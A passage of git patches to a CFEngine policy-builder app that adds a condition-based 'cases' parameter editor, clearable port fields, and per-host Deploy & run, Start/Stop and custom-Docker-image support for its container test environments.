describeCases(text: string | undefined): string { + return parseCases(text) + .filter(row => row.className.trim()) + .map(row => `${row.mode === 'unless' ? 'not ' : ''}${row.className}: ${row.value}`) + .join(' · '); +} diff --git a/src/renderer/src/blocks/definitionEntries.ts b/src/renderer/src/blocks/definitionEntries.ts index c7e5106..f37fa05 100644 --- a/src/renderer/src/blocks/definitionEntries.ts +++ b/src/renderer/src/blocks/definitionEntries.ts @@ -1,4 +1,5 @@ import type { BlockInstance, DefinitionEntry } from '../store/canvasSlice/types'; +import { describeCases } from './cases'; import { primaryPromiseType, resolveBlockShape } from './resolveBlockShape'; import { type BlockDescriptor, classRefsAttribute } from './types'; @@ -31,7 +32,8 @@ export function entrySummary(descriptor: BlockDescriptor, entry: DefinitionEntry const nameParam = descriptor.entries?.name_param; for (const parameter of source?.parameters ?? []) { if (parameter.name === nameParam) continue; - const value = (entry.params[parameter.name] ?? '').replace(/\s+/g, ' ').trim(); + const raw = entry.params[parameter.name] ?? ''; + const value = (parameter.type === 'cases' ? describeCases(raw) : raw).replace(/\s+/g, ' ').trim(); if (value) return value; } return source?.label ?? ''; diff --git a/src/renderer/src/blocks/types.ts b/src/renderer/src/blocks/types.ts index c08384a..b929e4c 100644 --- a/src/renderer/src/blocks/types.ts +++ b/src/renderer/src/blocks/types.ts @@ -59,6 +59,12 @@ export interface ChooseExpression { choose: string; } +// A cases parameter's rows as ifelse(condition, value, …, otherwise). +export interface CasesParamExpression { + cases_param: string; + otherwise: Expression; +} + // `key value` lines as a local array, passed by its qualified name. export interface ArrayParamExpression { array_param: string; @@ -73,6 +79,7 @@ export type Expression = | Template | ChooseExpression | ArrayParamExpression + | CasesParamExpression | CallExpression | BodyExpression | ListExpression @@ -114,7 +121,8 @@ export interface BlockParameter { path?: 'absolute'; references?: 'variable'; required: boolean; - type: 'boolean' | 'number' | 'string' | 'text'; + // "cases": condition + value rows as JSON (blocks/cases.ts). + type: 'boolean' | 'cases' | 'number' | 'string' | 'text'; } export type ValueType = 'data' | 'slist' | 'string'; diff --git a/src/renderer/src/canvas/cardRows.ts b/src/renderer/src/canvas/cardRows.ts index c425e55..e13b8ad 100644 --- a/src/renderer/src/canvas/cardRows.ts +++ b/src/renderer/src/canvas/cardRows.ts @@ -1,3 +1,4 @@ +import { describeCases } from '../blocks/cases'; import { entryName, entrySummary } from '../blocks/definitionEntries'; import { resolveBlockShape } from '../blocks/resolveBlockShape'; import { type BlockDescriptor, optionLabel, optionValue } from '../blocks/types'; @@ -21,12 +22,18 @@ function paramRows(descriptor: BlockDescriptor, subject: EditableSubject, errorP .parameters.map(parameter => { const rawValue = subject.params[parameter.name] ?? ''; const option = rawValue ? parameter.options?.find(candidate => optionValue(candidate) === rawValue) : undefined; - const value = option ? optionLabel(option) : parameter.type === 'text' ? rawValue.replace(/\s+/g, ' ').trim() : rawValue; + const value = option + ? optionLabel(option) + : parameter.type === 'cases' + ? describeCases(rawValue) + : parameter.type === 'text' + ? rawValue.replace(/\s+/g, ' ').trim() + : rawValue; return { key: parameter.name, label: parameter.label ?? parameter.name, value, - truncate: parameter.type === 'text', + truncate: parameter.type === 'text' || parameter.type === 'cases', error: parameter.name === errorParam }; }) diff --git a/src/renderer/src/components/PropertiesPanel.tsx b/src/renderer/src/components/PropertiesPanel.tsx index 6feffa7..43abbaf 100644 --- a/src/renderer/src/components/PropertiesPanel.tsx +++ b/src/renderer/src/components/PropertiesPanel.tsx @@ -53,6 +53,8 @@ interface PropertiesPanelProps { onConditionRemove: (entryId?: string) => void; // Run Command only: replace the action with a Define Variable reading its output. onConvertToData?: () => void; + // Adds a Define Class block without pointing a condition at it. + onCreateClass: (definition: NewClassDefinition) => void; onDecoratorAdd: (decoratorId: string, entryId?: string) => void; onDecoratorMove: (fromIndex: number, toIndex: number, entryId?: string) => void; onDecoratorParamChange: (decoratorInstanceId: string, paramName: string, value: string, entryId?: string) => void; @@ -99,6 +101,7 @@ export function PropertiesPanel(props: PropertiesPanelProps) { onClassRefAdd: () => props.onClassRefAdd(entryId), onClassRefRemove: classRefId => props.onClassRefRemove(classRefId, entryId), onClassRefChange: (classRefId, patch) => props.onClassRefChange(classRefId, patch, entryId), + onCreateClass: props.onCreateClass, onInventoryEnable: () => props.onInventoryEnable(entryId), onInventoryRemove: () => props.onInventoryRemove(entryId), onInventoryAttributeNameChange: attributeName => props.onInventoryAttributeNameChange(attributeName, entryId) diff --git a/src/renderer/src/components/properties/CasesField.tsx b/src/renderer/src/components/properties/CasesField.tsx new file mode 100644 index 0000000..57f006d --- /dev/null +++ b/src/renderer/src/components/properties/CasesField.tsx @@ -0,0 +1,119 @@ +import { useState } from 'react'; + +import AddIcon from '@mui/icons-material/Add'; +import CloseIcon from '@mui/icons-material/Close'; +import { Autocomplete, Box, Button, IconButton, MenuItem, Paper, Stack, TextField, Typography } from '@mui/material'; + +import { type CaseRow, parseCases, serializeCases } from '../../blocks/cases'; +import type { BlockParameter } from '../../blocks/types'; +import type { TemplateToken } from '../editor/templateTokens'; +import { type NewClassDefinition, NewClassModal } from './NewClassModal'; +import { type ClassNameOption, classAutocompleteSlotProps, renderClassOption, renderClassOptionGroup } from './classOptions'; +import { filterClassReferenceChars } from './inputFilters'; +import { autocompleteSx, inputSx } from './styles'; + +export interface CasesFieldProps { + classNameOptions: ClassNameOption[]; + label: string; + onChange: (value: string) => void; + // Adds a Define Class block; the row then uses its name. + onCreateClass?: (definition: NewClassDefinition) => void; + parameter: BlockParameter; + templateTokens: TemplateToken[]; + value: string; +} + +/** Condition → value rows, the first that holds wins; each condition picked like a block's Condition. */ +export function CasesField({ classNameOptions, label, onChange, onCreateClass, parameter, templateTokens, value }: CasesFieldProps) { + const rows = parseCases(value); + const [creatingFor, setCreatingFor] = useState(null); + const update = (next: CaseRow[]) => onChange(serializeCases(next)); + const change = (index: number, patch: Partial) => update(rows.map((row, at) => (at === index ? { ...row, ...patch } : row))); + + return ( + + {label} + + {rows.map((row, index) => ( + + + change(index, { mode: event.target.value as CaseRow['mode'] })} + sx={{ ...inputSx, width: 104, flexShrink: 0 }} + slotProps={{ htmlInput: { 'aria-label': 'Mode' } }} + > + If + Unless + + + freeSolo + size="small" + fullWidth + options={classNameOptions} + groupBy={option => option.group} + getOptionLabel={option => (typeof option === 'string' ? option : option.name)} + isOptionEqualToValue={(option, current) => typeof current !== 'string' && option.name === current.name} + value={row.className} + onChange={(_event, picked) => + change(index, { className: filterClassReferenceChars(typeof picked === 'string' ? picked : (picked?.name ?? '')) }) + } + onInputChange={(_event, typed, reason) => { + if (reason === 'input' || reason === 'clear') change(index, { className: filterClassReferenceChars(typed) }); + }} + renderInput={params => } + renderGroup={renderClassOptionGroup} + renderOption={renderClassOption} + slotProps={classAutocompleteSlotProps} + /> + update(rows.filter((_row, at) => at !== index))} + sx={{ mt: 0.5 }} + > + + + + + change(index, { value: event.target.value })} + sx={inputSx} + slotProps={{ htmlInput: { 'aria-label': 'Value', style: { fontFamily: 'monospace' } } }} + /> + {onCreateClass && ( + + )} + + + ))} + + + {parameter.help && {parameter.help}} + {onCreateClass && ( + setCreatingFor(null)} + onCreate={definition => { + onCreateClass(definition); + if (creatingFor !== null) change(creatingFor, { className: definition.className }); + setCreatingFor(null); + }} + /> + )} + + ); +} diff --git a/src/renderer/src/components/properties/SubjectEditor.tsx b/src/renderer/src/components/properties/SubjectEditor.tsx index e9f117f..467eceb 100644 --- a/src/renderer/src/components/properties/SubjectEditor.tsx +++ b/src/renderer/src/components/properties/SubjectEditor.tsx @@ -15,6 +15,7 @@ import { ClassCombinationEditor } from './ClassCombinationEditor'; import { CollapsibleSectionTitle } from './CollapsibleSectionTitle'; import { ConditionSection, type ConditionSlot } from './ConditionSection'; import { InventorySection } from './InventorySection'; +import type { NewClassDefinition } from './NewClassModal'; import type { ClassNameOption } from './classOptions'; import { AddDecoratorButton, DecoratorRow } from './decorators'; import { ParameterField } from './paramFields'; @@ -29,6 +30,8 @@ export interface SubjectCallbacks { onClassRefAdd: () => void; onClassRefChange: (classRefId: string, patch: { name?: string; negate?: boolean }) => void; onClassRefRemove: (classRefId: string) => void; + // Adds a Define Class block (a Per condition row's "New class"). + onCreateClass?: (definition: NewClassDefinition) => void; onDecoratorAdd: (decoratorId: string) => void; onDecoratorMove: (fromIndex: number, toIndex: number) => void; onDecoratorParamChange: (decoratorInstanceId: string, paramName: string, value: string) => void; @@ -145,6 +148,8 @@ export function SubjectEditor({ onChange={value => callbacks.onParamChange(parameter.name, value)} onOpenEditor={() => setEditingParam(parameter)} templateTokens={templateTokens} + classNameOptions={classNameOptions} + onCreateClass={callbacks.onCreateClass} /> )) )} diff --git a/src/renderer/src/components/properties/paramFields.tsx b/src/renderer/src/components/properties/paramFields.tsx index 2f99444..fc40b3b 100644 --- a/src/renderer/src/components/properties/paramFields.tsx +++ b/src/renderer/src/components/properties/paramFields.tsx @@ -4,15 +4,20 @@ import { Autocomplete, Box, Checkbox, FormControlLabel, InputAdornment, MenuItem import { type BlockParameter, optionHelp, optionLabel, optionValue } from '../../blocks/types'; import type { TemplateToken } from '../editor/templateTokens'; -import { buildVariableNameOptions, classAutocompleteSlotProps, renderClassOption, renderClassOptionGroup } from './classOptions'; +import { CasesField } from './CasesField'; +import type { NewClassDefinition } from './NewClassModal'; +import { type ClassNameOption, buildVariableNameOptions, classAutocompleteSlotProps, renderClassOption, renderClassOptionGroup } from './classOptions'; import { acceptsNumberInput, filterAllowedChars, numberError, pathError } from './inputFilters'; import { autocompleteSx, inputSx } from './styles'; interface FieldProps { + // A cases parameter's condition pickers. + classNameOptions?: ClassNameOption[]; // Validation message, shown instead of the help text. error?: string; label: string; onChange: (value: string) => void; + onCreateClass?: (definition: NewClassDefinition) => void; onOpenEditor?: () => void; parameter: BlockParameter; templateTokens?: TemplateToken[]; @@ -147,6 +152,20 @@ function renderPlainField({ parameter, value, onChange, label, error }: FieldPro // Checked in order, first match wins; anything unmatched is a plain text/number field. const FIELD_FACTORIES: FieldFactory[] = [ + { + matches: parameter => parameter.type === 'cases', + render: props => ( + + ) + }, { matches: parameter => parameter.references === 'variable', render: renderVariableReferenceField }, { matches: parameter => Boolean(parameter.options), render: renderOptionsField }, { matches: parameter => parameter.type === 'boolean', render: renderBooleanField }, diff --git a/src/renderer/src/components/properties/valueSources.tsx b/src/renderer/src/components/properties/valueSources.tsx index adb695c..321675c 100644 --- a/src/renderer/src/components/properties/valueSources.tsx +++ b/src/renderer/src/components/properties/valueSources.tsx @@ -1,6 +1,7 @@ import type { ReactNode } from 'react'; import type { SvgIconComponent } from '@mui/icons-material'; +import AltRouteIcon from '@mui/icons-material/AltRoute'; import CallMergeOutlinedIcon from '@mui/icons-material/CallMergeOutlined'; import CallSplitOutlinedIcon from '@mui/icons-material/CallSplitOutlined'; import CancelOutlinedIcon from '@mui/icons-material/CancelOutlined'; @@ -19,6 +20,7 @@ import { Box, ListItemIcon, ListItemText, MenuItem, Typography } from '@mui/mate export const VALUE_SOURCE_ICONS: Record = { literal: FormatQuoteIcon, list: FormatListBulletedIcon, + 'per-condition': AltRouteIcon, 'structured-data-literal': DataObjectIcon, 'command-output': TerminalIcon, 'file-lines': FormatListBulletedIcon, diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index 51f469f..cb0261b 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -427,26 +427,31 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi // change selectedInstanceId — unlike the palette's addBlockToCanvas, the // user's focus should stay on the block whose condition they're editing, // not jump to the class they just created. - const handleConditionCreateClass = (forInstanceId: string, definition: NewClassDefinition, entryId?: string) => { + const addClassBlock = (definition: NewClassDefinition) => { const defineClass = blockDescriptorsById.get('define-class'); if (!currentFileId || !defineClass) return; + dispatch( + blockAdded({ + blockId: 'define-class', + fileId: currentFileId, + label: definition.className, + params: {}, + position: nextStackPosition(instances, sizeOf), + entries: [ + newDefinitionEntry(defineClass, { + params: { [defineClass.entries?.name_param ?? 'class_name']: definition.className, ...definition.params }, + valueSourceId: definition.valueSourceId, + classRefs: definition.classRefs + }) + ] + }) + ); + }; + + const handleConditionCreateClass = (forInstanceId: string, definition: NewClassDefinition, entryId?: string) => { + if (!currentFileId || !blockDescriptorsById.get('define-class')) return; asOneStep(() => { - dispatch( - blockAdded({ - blockId: 'define-class', - fileId: currentFileId, - label: definition.className, - params: {}, - position: nextStackPosition(instances, sizeOf), - entries: [ - newDefinitionEntry(defineClass, { - params: { [defineClass.entries?.name_param ?? 'class_name']: definition.className, ...definition.params }, - valueSourceId: definition.valueSourceId, - classRefs: definition.classRefs - }) - ] - }) - ); + addClassBlock(definition); dispatch(conditionClassNameChanged({ instanceId: forInstanceId, entryId, className: definition.className })); }); }; @@ -861,6 +866,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi selectedInstance && dispatch(conditionClassNameChanged({ instanceId: selectedInstance.instanceId, entryId, className })) } onConditionCreateClass={(definition, entryId) => selectedInstance && handleConditionCreateClass(selectedInstance.instanceId, definition, entryId)} + onCreateClass={addClassBlock} onInventoryEnable={entryId => selectedInstance && dispatch(inventoryEnabled({ instanceId: selectedInstance.instanceId, entryId }))} onInventoryRemove={entryId => selectedInstance && dispatch(inventoryRemoved({ instanceId: selectedInstance.instanceId, entryId }))} onInventoryAttributeNameChange={(attributeName, entryId) => From 76c23bf8dde29f2247a10303f547b7d4808dcf57 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:35:24 +0300 Subject: [PATCH 034/141] Test host port fields can be cleared and retyped A number field rejected every edit that wasn't a valid port, so the last digit couldn't be deleted. A port is now a text field holding a draft: valid ports save as typed, anything else reverts on blur. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/testenv/PortsField.tsx | 59 +++++++++++++------ 1 file changed, 42 insertions(+), 17 deletions(-) diff --git a/src/renderer/src/components/testenv/PortsField.tsx b/src/renderer/src/components/testenv/PortsField.tsx index 8f1136c..3f59188 100644 --- a/src/renderer/src/components/testenv/PortsField.tsx +++ b/src/renderer/src/components/testenv/PortsField.tsx @@ -1,9 +1,47 @@ +import { useState } from 'react'; + import AddIcon from '@mui/icons-material/Add'; import CloseIcon from '@mui/icons-material/Close'; import { Box, Button, IconButton, Stack, TextField, Typography } from '@mui/material'; type Port = { container: number; host: number }; +// One port number: free typing (it may be empty for a moment); a valid port is saved as typed, +// anything else goes back to the last valid one on blur. +function PortInput({ + disabled, + error, + onChange, + title, + value +}: { + disabled?: boolean; + error?: boolean; + onChange: (port: number) => void; + title?: string; + value: number; +}) { + const [draft, setDraft] = useState(null); + return ( + { + const text = event.target.value.replace(/\D/g, '').slice(0, 5); + setDraft(text); + const port = portValue(text); + if (port !== null) onChange(port); + }} + onBlur={() => setDraft(null)} + slotProps={{ htmlInput: { inputMode: 'numeric' } }} + sx={{ width: 110 }} + /> + ); +} + const portValue = (text: string) => { const number = Number(text); return Number.isInteger(number) && number > 0 && number <= 65535 ? number : null; @@ -11,10 +49,7 @@ const portValue = (text: string) => { /** Published ports, host → container (TCP). Changing them recreates the host's container. */ export function PortsField({ disabled, onChange, ports, taken }: { disabled?: boolean; onChange: (ports: Port[]) => void; ports: Port[]; taken: Set }) { - const set = (index: number, field: keyof Port, text: string) => { - const value = portValue(text); - if (value !== null) onChange(ports.map((port, at) => (at === index ? { ...port, [field]: value } : port))); - }; + const set = (index: number, field: keyof Port, value: number) => onChange(ports.map((port, at) => (at === index ? { ...port, [field]: value } : port))); const free = () => { let host = 8080; while (taken.has(host) || ports.some(port => port.host === host)) host += 1; @@ -28,25 +63,15 @@ export function PortsField({ disabled, onChange, ports, taken }: { disabled?: bo const clash = taken.has(port.host) || ports.some((other, at) => at !== index && other.host === port.host); return ( - set(index, 'host', event.target.value)} - sx={{ width: 110 }} + onChange={value => set(index, 'host', value)} /> → - set(index, 'container', event.target.value)} - sx={{ width: 110 }} - /> + set(index, 'container', value)} /> onChange(ports.filter((_port, at) => at !== index))}> From 7e216da00b94f8891151312717fc9c2318b4d392 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:37:31 +0300 Subject: [PATCH 035/141] Test host cards got Deploy & run, Start and Stop buttons Each card's footer runs the policy on that host alone (it and the hub need to be up), stops its container or starts it again, next to the terminal and settings; every icon explains itself on hover, disabled ones too. The sidecar gained a start action and stops single hosts. "Run test" became "Deploy & run", since it applies the policy rather than testing it. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 4 +- python/cfpb_testenv.py | 28 +++++- src/main/testenv.ts | 2 +- src/preload/api.d.ts | 5 +- src/preload/index.ts | 6 +- .../src/components/TestResultsView.tsx | 13 ++- .../src/components/testenv/HostCard.tsx | 86 +++++++++++++++++-- .../src/components/testenv/LogPane.tsx | 4 +- src/renderer/src/project/testRuns.ts | 4 +- 9 files changed, 129 insertions(+), 23 deletions(-) diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index c13a7e0..2b44afe 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -362,6 +362,7 @@ def testenv_command(action: str) -> int: "test": cfpb_testenv.test, "exec": cfpb_testenv.execute, "stop": cfpb_testenv.stop, + "start": cfpb_testenv.start, "destroy": cfpb_testenv.destroy, } if action in streaming: @@ -378,7 +379,7 @@ def testenv_command(action: str) -> int: message = str(error) except Exception as error: # Docker SDK / network errors: one line for the UI message = f"{type(error).__name__}: {error}" - if action in ("pull", "up", "run", "test", "exec", "stop", "destroy"): + if action in ("pull", "up", "run", "test", "exec", "start", "stop", "destroy"): cfpb_testenv.emit("error", message=message) print(message, file=sys.stderr) return 1 @@ -410,6 +411,7 @@ def main(argv: list[str] | None = None) -> int: "run", "test", "exec", + "start", "stop", "destroy", ], diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index a570ba6..a44741b 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -670,7 +670,10 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: hosts = env.get("hosts") or [] hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) containers = _labelled(engine, env) - missing = [h["name"] for h in hosts if h["id"] not in containers or containers[h["id"]].status != "running"] + only = set(request.get("hosts") or [h["id"] for h in hosts]) + # The hosts to run, and the hub that serves them, have to be up. + needed = [h for h in hosts if h["id"] in only or h is hub_host] + missing = [h["name"] for h in needed if h["id"] not in containers or containers[h["id"]].status != "running"] if hub_host is None or missing: raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") masterfiles_dir = masterfiles_dir or build_policy(request["content"], request["masterfiles"], request["cacheDir"]) @@ -687,7 +690,6 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: for item in [b["instanceId"] for b in file.get("blocks", [])] + [g["id"] for g in file.get("groups", [])] } dotenv = read_dotenv(request.get("envFile")) - only = set(request.get("hosts") or [h["id"] for h in hosts]) for host in sorted(hosts, key=lambda h: h is not hub_host): if host["id"] not in only: continue @@ -758,9 +760,27 @@ def status(request: dict) -> dict: def stop(request: dict) -> None: - for container in _labelled(client(), request["environment"]).values(): - emit("step", step="stop", message=f"Stopping {container.name}") + """Stops the environment's containers (or only `hosts`); they keep what's installed.""" + only = set(request.get("hosts") or []) + for host_id, container in _labelled(client(), request["environment"]).items(): + if only and host_id not in only: + continue + emit("step", host=host_id, step="stop", message=f"Stopping {container.name}") container.stop(timeout=5) + emit("host", host=host_id, state="exited", container=container.name) + emit("done") + + +def start(request: dict) -> None: + """Starts stopped containers again (or only `hosts`): already installed and bootstrapped.""" + env, engine = request["environment"], client() + only = set(request.get("hosts") or []) + for host_id, container in _labelled(engine, env).items(): + if only and host_id not in only: + continue + emit("step", host=host_id, step="start", message=f"Starting {container.name}") + container.start() + emit("host", host=host_id, state="ready", container=container.name, ip=_ip(engine, container, env)) emit("done") diff --git a/src/main/testenv.ts b/src/main/testenv.ts index a5fea2d..449bbeb 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -11,7 +11,7 @@ import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend' const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); // The streaming actions: pulling a base image, and an environment's Start / Run / Stop / Destroy. -const STREAMING = new Set(['pull', 'up', 'run', 'test', 'exec', 'stop', 'destroy']); +const STREAMING = new Set(['pull', 'up', 'run', 'test', 'exec', 'start', 'stop', 'destroy']); const runs = new Map(); const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index e21b2b9..d86a522 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -216,7 +216,10 @@ declare global { version: string; }) => Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }>; /** Starts a streaming action (pull a base image; an environment's up / run / stop / destroy); resolves with the run id its events (onTestEnvEvent) carry. */ - testEnvStart: (action: 'destroy' | 'exec' | 'pull' | 'run' | 'stop' | 'test' | 'up', request: TestEnvRequest | { image: string }) => Promise; + testEnvStart: ( + action: 'destroy' | 'exec' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', + request: TestEnvRequest | { image: string } + ) => Promise; /** Each host's container as Docker sees it: running, exited, absent… */ testEnvStatus: (request: TestEnvRequest) => Promise<{ hosts: Record }>; }; diff --git a/src/preload/index.ts b/src/preload/index.ts index a106b5d..e793ee2 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -82,8 +82,10 @@ const api = { onTestEnvEvent, testEnvDoctor: (): Promise => invoke('testenv:doctor'), testEnvImages: (): Promise<{ platforms: BaseImage[] }> => invoke('testenv:images'), - testEnvStart: (action: 'destroy' | 'exec' | 'pull' | 'run' | 'stop' | 'test' | 'up', request: TestEnvRequest | { image: string }): Promise => - invoke('testenv:start', action, request), + testEnvStart: ( + action: 'destroy' | 'exec' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', + request: TestEnvRequest | { image: string } + ): Promise => invoke('testenv:start', action, request), testEnvPlatforms: (query: { arch: string; edition: string; diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index 3661658..23d8c9f 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -55,7 +55,7 @@ function problemOf(environment: TestEnvironment, support: PlatformSupport | null /** * The Test Results & Logs tab: a test environment of Docker hosts running the * generated policy (current edits, not the saved files). Start creates and - * bootstraps the hosts; Run policy rebuilds, deploys to the hub and runs the + * bootstraps the hosts; Deploy & run rebuilds, deploys to the hub and runs the * agent everywhere until it converges. */ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, id: string) => void }) { @@ -172,7 +172,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, onClick={() => void startAction(environment, 'test', request())} title="Create and bootstrap any host that isn't up yet, then run the policy on all of them" > - Run test + Deploy & run )} @@ -239,7 +241,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, ))} dispatch(hostAdded({ environmentId: id }))} + onClick={event => setAddAnchor(event.currentTarget)} sx={{ py: 1.5, borderRadius: 1, border: '1px dashed', borderColor: 'divider', color: 'text.secondary', fontSize: 13, gap: 0.75 }} > Add client host @@ -281,6 +283,16 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, /> + setAddAnchor(null)} + onSelect={platform => { + setAddAnchor(null); + dispatch(hostAdded({ environmentId: id, platform })); + }} + /> {editing && ( void; + onSelect: (platform: string) => void; + support: PlatformSupport | null; +} + +/** Picks the platform a new client host runs; platforms without a client package are disabled. */ +export function AddHostMenu({ anchor, last, onClose, onSelect, support }: AddHostMenuProps) { + const item = (platform: (typeof PLATFORMS)[number], key: string = platform.id) => { + const missing = support?.[platform.id] && !support[platform.id].client; + return ( + onSelect(platform.id)} sx={{ fontSize: 14 }}> + {platform.label} + {missing && no package} + + ); + }; + const same = PLATFORMS.find(platform => platform.id === last); + return ( + + New client host runs + {same && [item(same, 'last'), ]} + {PLATFORMS.filter(platform => platform !== same).map(platform => item(platform))} + + ); +} diff --git a/src/renderer/src/store/testEnvironmentsSlice/index.ts b/src/renderer/src/store/testEnvironmentsSlice/index.ts index 9db54d1..7f4995c 100644 --- a/src/renderer/src/store/testEnvironmentsSlice/index.ts +++ b/src/renderer/src/store/testEnvironmentsSlice/index.ts @@ -31,13 +31,13 @@ const testEnvironmentsSlice = createSlice({ const environment = find(state, action.payload.environmentId); if (environment?.hosts.some(host => host.id === action.payload.hostId)) environment.hub = action.payload.hostId; }, - hostAdded(state, action: PayloadAction<{ environmentId: string }>) { + hostAdded(state, action: PayloadAction<{ environmentId: string; platform?: string }>) { const environment = find(state, action.payload.environmentId); if (!environment) return; const names = new Set(environment.hosts.map(host => host.name)); let number = environment.hosts.length; while (names.has(`client${number}`)) number += 1; - environment.hosts.push(newHost(`client${number}`, environment.hosts.at(-1)?.platform)); + environment.hosts.push(newHost(`client${number}`, action.payload.platform ?? environment.hosts.at(-1)?.platform)); }, hostRemoved(state, action: PayloadAction<{ environmentId: string; hostId: string }>) { const environment = find(state, action.payload.environmentId); From c7ddaf4f5662e93c99d5390907e10ddcdc2d692c Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:38:23 +0300 Subject: [PATCH 037/141] Test hosts can run any Docker image Add host -> Other image... takes any reference, suggesting pulled images and Docker Hub search results. Checking it pulls the image and maps its /etc/os-release to the CFEngine package it takes (Rocky and Oracle Linux to RHEL, Mint to Ubuntu by codename); an OS without a match is given one by hand. The cached CFEngine image drops the base image's entrypoint and user. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 16 +- python/cfpb_testenv.py | 155 ++++++++++++-- python/tests/test_testenv.py | 18 ++ src/main/backend.ts | 2 +- src/main/testenv.ts | 18 +- src/preload/api.d.ts | 13 +- src/preload/index.ts | 6 +- .../src/components/TestResultsView.tsx | 17 ++ .../src/components/testenv/AddHostMenu.tsx | 8 +- .../components/testenv/CustomImageDialog.tsx | 198 ++++++++++++++++++ .../src/components/testenv/HostCard.tsx | 3 +- .../components/testenv/HostSettingsDialog.tsx | 19 +- src/renderer/src/project/cfbsProject.ts | 3 +- src/renderer/src/project/testRuns.ts | 3 +- .../src/store/testEnvironmentsSlice/index.ts | 11 +- .../src/store/testEnvironmentsSlice/types.ts | 3 + 16 files changed, 460 insertions(+), 33 deletions(-) create mode 100644 src/renderer/src/components/testenv/CustomImageDialog.tsx diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index 2b44afe..892e978 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -339,7 +339,7 @@ def compile_command() -> int: def testenv_command(action: str) -> int: - """Test environments (cfpb_testenv): `doctor`, `images`, `package`, `status` answer with one JSON + """Test environments (cfpb_testenv): `doctor`, `images`, `package`, `platforms`, `search`, `status` answer with one JSON object; the rest stream events, one JSON object per line, ending with a `done` or `error` event.""" import cfpb_testenv @@ -365,13 +365,21 @@ def testenv_command(action: str) -> int: "start": cfpb_testenv.start, "destroy": cfpb_testenv.destroy, } + if action == "inspect": + cfpb_testenv.inspect(query) + return 0 if action in streaming: if not isinstance(query.get("environment"), dict): raise cfpb_testenv.RunnerError('"environment" must be an object') streaming[action](query) return 0 answers = {"doctor": cfpb_testenv.doctor, "images": cfpb_testenv.images} - queries = {"package": cfpb_testenv.package, "status": cfpb_testenv.status, "platforms": cfpb_testenv.platforms} + queries = { + "package": cfpb_testenv.package, + "status": cfpb_testenv.status, + "platforms": cfpb_testenv.platforms, + "search": cfpb_testenv.search, + } result = answers[action]() if action in answers else queries[action](query) print(json.dumps(result)) return 0 @@ -379,7 +387,7 @@ def testenv_command(action: str) -> int: message = str(error) except Exception as error: # Docker SDK / network errors: one line for the UI message = f"{type(error).__name__}: {error}" - if action in ("pull", "up", "run", "test", "exec", "start", "stop", "destroy"): + if action in ("pull", "inspect", "up", "run", "test", "exec", "start", "stop", "destroy"): cfpb_testenv.emit("error", message=message) print(message, file=sys.stderr) return 1 @@ -406,6 +414,8 @@ def main(argv: list[str] | None = None) -> int: "package", "platforms", "pull", + "inspect", + "search", "status", "up", "run", diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index a44741b..533b7dd 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -167,14 +167,29 @@ def images() -> dict: } +# A Docker image reference: [registry[:port]/]name[:tag][@digest]. +REFERENCE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/:@-]{0,254}$") + + +def split_reference(image: str) -> tuple[str, str]: + """(repository, tag or digest) of an image reference; a registry's port isn't a tag.""" + if "@" in image: + return tuple(image.split("@", 1)) # type: ignore[return-value] + name, slash, last = image.rpartition("/") + if ":" in last: + last, tag = last.split(":", 1) + return f"{name}{slash}{last}", tag + return image, "latest" + + def pull(image: str, arch: str | None = None) -> None: """Pulls an image (for `arch`, else the engine's own), streaming `progress` events (bytes over all layers) and `log` lines.""" - repository, _, tag = image.partition(":") + repository, tag = split_reference(image) layers: dict[str, tuple[int, int]] = {} last = -1 platform = DOCKER_PLATFORM.get(arch) if arch else None - for status in client().api.pull(repository, tag=tag or "latest", stream=True, decode=True, platform=platform): + for status in client().api.pull(repository, tag=tag, stream=True, decode=True, platform=platform): if "error" in status: raise 